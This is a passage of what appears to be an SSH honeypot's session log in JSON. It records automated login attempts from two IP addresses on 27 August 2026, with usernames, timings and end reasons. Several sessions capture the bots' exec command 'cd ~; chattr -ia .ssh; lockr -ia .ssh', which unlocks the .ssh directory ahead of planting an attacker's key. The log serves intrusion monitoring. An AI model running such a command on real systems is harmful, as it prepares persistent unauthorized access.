 },
 {
  "id": "9157ca3a-2f83-4b77-b8f7-8231540760bb",
  "name": "eager-oaken-lemur",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 50398,
  "username": "steam",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:01:10.652690+00:00",
  "ended_at": "2026-08-27T07:01:11.356711+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "11c22ab0-aa37-4b09-b610-465593538dcc",
  "name": "sandy-coastal-mallard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 49604,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:01:08.379302+00:00",
  "ended_at": "2026-08-27T07:01:09.960050+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "98796246-8261-44f3-a812-1a7c50633a0e",
  "name": "crystal-crimson-parakeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 57732,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 350,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T06:59:18.510870+00:00",
  "ended_at": "2026-08-27T06:59:20.656529+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2183
 },
 {
  "id": "2936035d-53ae-4ce0-94a7-5252ec13b0f4",
  "name": "patient-gnarled-barbet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 59518,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:59:01.793201+00:00",
  "ended_at": "2026-08-27T06:59:03.314018+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b3727324-460c-4529-9e5d-cb288b50b121",
  "name": "umber-dapper-dunlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 58460,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:58:59.273378+00:00",
  "ended_at": "2026-08-27T06:59:01.128725+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cd337afe-137f-4ac9-bc9a-20e8dcbd7860",
  "name": "rustic-zealous-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 38200,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 335,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T06:57:11.711848+00:00",
  "ended_at": "2026-08-27T06:57:13.878106+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2172
 },
 {
  "id": "2c1099cc-78d5-49b8-ba65-1e898469146a",
  "name": "upland-misty-adder",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 39928,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:56:55.012777+00:00",
  "ended_at": "2026-08-27T06:56:56.647166+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1a3cfccf-7cd6-4800-b8d9-a7e06a57c4aa",
  "name": "dewy-austere-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 38790,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:56:52.445823+00:00",
  "ended_at": "2026-08-27T06:56:54.312494+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cfed138f-a5a9-435f-8c03-b58c4ce0cb34",
  "name": "mindful-amiable-tern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 46902,
  "username": "mom",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 333,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T06:54:59.278006+00:00",
  "ended_at": "2026-08-27T06:55:00.845150+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2099
 },
 {
  "id": "cce90324-5430-44b2-b608-ec68432dd64c",
  "name": "feathered-sincere-armadillo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 48670,
  "username": "mom",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:54:44.266582+00:00",
  "ended_at": "2026-08-27T06:54:45.097954+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c0c16ea6-acaf-4c2e-9bb3-ac8d6f709a66",
  "name": "ginger-pleasant-badger",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 47492,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:54:41.637693+00:00",
  "ended_at": "2026-08-27T06:54:43.603817+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b40208fd-5f2f-42cf-992b-9a2614c05fa3",
  "name": "weathered-blithe-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 55604,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 335,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T06:52:58.776446+00:00",
  "ended_at": "2026-08-27T06:52:59.765840+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2150
 },
 {
  "id": "f6675739-cc43-4e93-861d-daba627e6c03",
  "name": "sincere-thawing-numbat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 56926,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:52:42.411588+00:00",
  "ended_at": "2026-08-27T06:52:44.198291+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6b44d6b2-d132-4f8a-8c00-917591da736a",
  "name": "shifting-polar-goldcrest",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 56240,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:52:40.879271+00:00",
  "ended_at": "2026-08-27T06:52:41.707597+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8d9eac5c-44da-46cf-a5e9-5ae46d66d5c3",
  "name": "graceful-dappled-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 36070,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 351,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T06:50:59.036810+00:00",
  "ended_at": "2026-08-27T06:51:00.435845+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2139
 },
 {
  "id": "0a9383f7-36fc-4a77-a4cb-f8d3a2f7b4ad",
  "name": "distant-hearty-blackbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 37564,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:50:42.417356+00:00",
  "ended_at": "2026-08-27T06:50:44.148192+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "55d091e0-e847-4901-b286-4035b6719813",
  "name": "bronzed-tidal-badger",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 36802,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:50:40.434352+00:00",
  "ended_at": "2026-08-27T06:50:41.725014+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "14f6b565-1d2d-496f-965d-781a68b86c70",
  "name": "plush-rambling-eagle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 44774,
  "username": "dante",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 323,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T06:48:54.647274+00:00",
  "ended_at": "2026-08-27T06:48:55.796824+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2074
 },
 {
  "id": "dd7dc621-e8c3-4e74-8fce-24c77650bf9f",
  "name": "restless-vivid-marmot",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 46512,
  "username": "dante",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:48:39.513003+00:00",
  "ended_at": "2026-08-27T06:48:40.978007+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bf5e36f1-f6ed-48e7-8647-978cbf9d3126",
  "name": "quiet-thorny-falcon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 45378,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:48:36.925295+00:00",
  "ended_at": "2026-08-27T06:48:38.863014+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8f597acf-c9c6-4d03-8c67-09f0068dd656",
  "name": "amiable-supple-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 53484,
  "username": "weblogic",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 323,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T06:46:51.982788+00:00",
  "ended_at": "2026-08-27T06:46:53.144929+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2072
 },
 {
  "id": "acbfb7f4-75da-4f60-ad0a-188ea3c3a41c",
  "name": "whispering-frugal-hoopoe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 54918,
  "username": "weblogic",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:46:40.499114+00:00",
  "ended_at": "2026-08-27T06:46:41.587637+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c6f8fbd3-d8ab-4d3e-9d06-3aa47d6dc5bc",
  "name": "vigilant-quaint-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 54188,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:46:38.468614+00:00",
  "ended_at": "2026-08-27T06:46:39.814642+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c80a064c-9494-40b3-abd5-4f340e56be99",
  "name": "orderly-rapid-chickadee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 33954,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 323,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T06:44:42.100296+00:00",
  "ended_at": "2026-08-27T06:44:42.758496+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2104
 },
 {
  "id": "60fb0338-3a99-4e77-b341-f2883da34e23",
  "name": "airy-shaded-eagle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 35242,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:44:34.776617+00:00",
  "ended_at": "2026-08-27T06:44:35.501551+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "13e8e533-aed1-40b2-acc3-b3e3d8e69fab",
  "name": "noble-lucid-sparrow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 34506,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:44:33.070456+00:00",
  "ended_at": "2026-08-27T06:44:34.094566+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "72dafc1e-5c2d-46a1-8017-878ce5120fd5",
  "name": "mellow-eager-adder",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 42658,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 325,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T06:40:44.085073+00:00",
  "ended_at": "2026-08-27T06:40:44.701749+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2095
 },
 {
  "id": "7762066e-4c67-4303-b746-001a10bdf763",
  "name": "crisp-hushed-tinamou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 43918,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:40:35.030232+00:00",
  "ended_at": "2026-08-27T06:40:36.805056+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0bb225b2-52fa-46ff-a5da-8b2f2c4a63e4",
  "name": "bronzed-valiant-shrike",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 43196,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:40:33.290223+00:00",
  "ended_at": "2026-08-27T06:40:34.380696+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "857dfb5d-644c-4808-a024-440227a9a464",
  "name": "inland-gilded-chough",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 48050,
  "username": "www",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:37:51.910298+00:00",
  "ended_at": "2026-08-27T06:37:52.537594+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6ac60bea-1c54-4953-bff1-ffb36751b9ad",
  "name": "sterling-quiet-kakapo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 37062,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 314,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:53:51.433201+00:00",
  "ended_at": "2026-08-27T05:53:52.777417+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "e9ac3635-67ea-4f51-886a-09f9bbcbb435",
  "name": "sooty-alpine-panther",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 37068,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:53:24.109034+00:00",
  "ended_at": "2026-08-27T05:53:25.498264+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "716b86aa-7f42-4d88-8992-ba369b5a4403",
  "name": "marine-gritty-skink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 37066,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:53:21.806155+00:00",
  "ended_at": "2026-08-27T05:53:23.474875+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "695e8133-86b5-4fef-a0c2-5d44f10b84ad",
  "name": "arctic-jagged-zebu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 58460,
  "username": "kkk",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 319,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:51:49.646369+00:00",
  "ended_at": "2026-08-27T05:51:50.787856+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2244
 },
 {
  "id": "0abfa460-236e-4586-ba40-adbb80f08a17",
  "name": "chilly-restless-lemur",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 58464,
  "username": "kkk",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:51:24.375599+00:00",
  "ended_at": "2026-08-27T05:51:25.578474+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a261627d-2435-4727-9e07-b8f5a6bedd9a",
  "name": "honest-polar-merlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 58462,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:51:22.381529+00:00",
  "ended_at": "2026-08-27T05:51:23.739626+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "15c8f7d1-9c5f-4336-a6bc-91df637f559c",
  "name": "civil-tawny-warbler",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 35266,
  "username": "xiaolin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 321,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:49:54.223925+00:00",
  "ended_at": "2026-08-27T05:49:56.159164+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2252
 },
 {
  "id": "34ed8350-94dd-475d-9e0f-1724fd8cebb4",
  "name": "umber-seaward-ouzel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 55848,
  "username": "xiaolin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:49:27.035595+00:00",
  "ended_at": "2026-08-27T05:49:28.679017+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e238ac97-ebef-4d8e-b173-45066bb8d84c",
  "name": "languid-craggy-chamois",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 35276,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:49:24.929934+00:00",
  "ended_at": "2026-08-27T05:49:26.385495+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e7767d99-2f3a-4355-b785-faacccfdda2b",
  "name": "quartz-primal-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 55226,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 313,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:47:51.436453+00:00",
  "ended_at": "2026-08-27T05:47:53.469714+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "dd49165f-d9c0-4c17-a60f-1887d32dc508",
  "name": "silent-vigilant-lemur",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 55236,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:47:35.476443+00:00",
  "ended_at": "2026-08-27T05:47:37.453209+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a7ea27ea-dc5e-4464-a3d1-e5bb94a37ba4",
  "name": "salty-opal-stoat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 55228,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:47:33.257139+00:00",
  "ended_at": "2026-08-27T05:47:34.814036+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c86d61c7-b2bb-4e53-b47d-17a3df0cf06a",
  "name": "stoic-tawny-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 58176,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 325,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:45:53.986321+00:00",
  "ended_at": "2026-08-27T05:45:55.304401+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2255
 },
 {
  "id": "1b72415d-7a25-4bd5-906a-18792e5b7ede",
  "name": "dapper-hollow-waxwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 58200,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:45:30.185045+00:00",
  "ended_at": "2026-08-27T05:45:31.379385+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6594bd4f-80ee-4c1e-8576-78ec2e6eb398",
  "name": "ashen-ginger-lorikeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 58192,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:45:28.554553+00:00",
  "ended_at": "2026-08-27T05:45:29.544796+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "58ff4cae-b44a-4118-8862-2327b3d79ae9",
  "name": "honest-vigilant-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 43386,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 323,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:43:53.133955+00:00",
  "ended_at": "2026-08-27T05:43:54.758512+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "b2c94294-0d81-4c16-ba11-7de487c8e885",
  "name": "flinty-steady-pangolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 43416,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:43:25.777466+00:00",
  "ended_at": "2026-08-27T05:43:27.551577+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8161ce7a-2244-47b6-80b9-47fdf0d92837",
  "name": "hearty-humble-vole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 43402,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:43:23.291593+00:00",
  "ended_at": "2026-08-27T05:43:25.142316+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f3ccc5e2-0539-4200-8222-3abf799f8e95",
  "name": "jolly-daring-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 58808,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 313,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:41:55.054504+00:00",
  "ended_at": "2026-08-27T05:41:57.305487+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "0a0e67be-981a-4a48-93b6-90bc7dd95772",
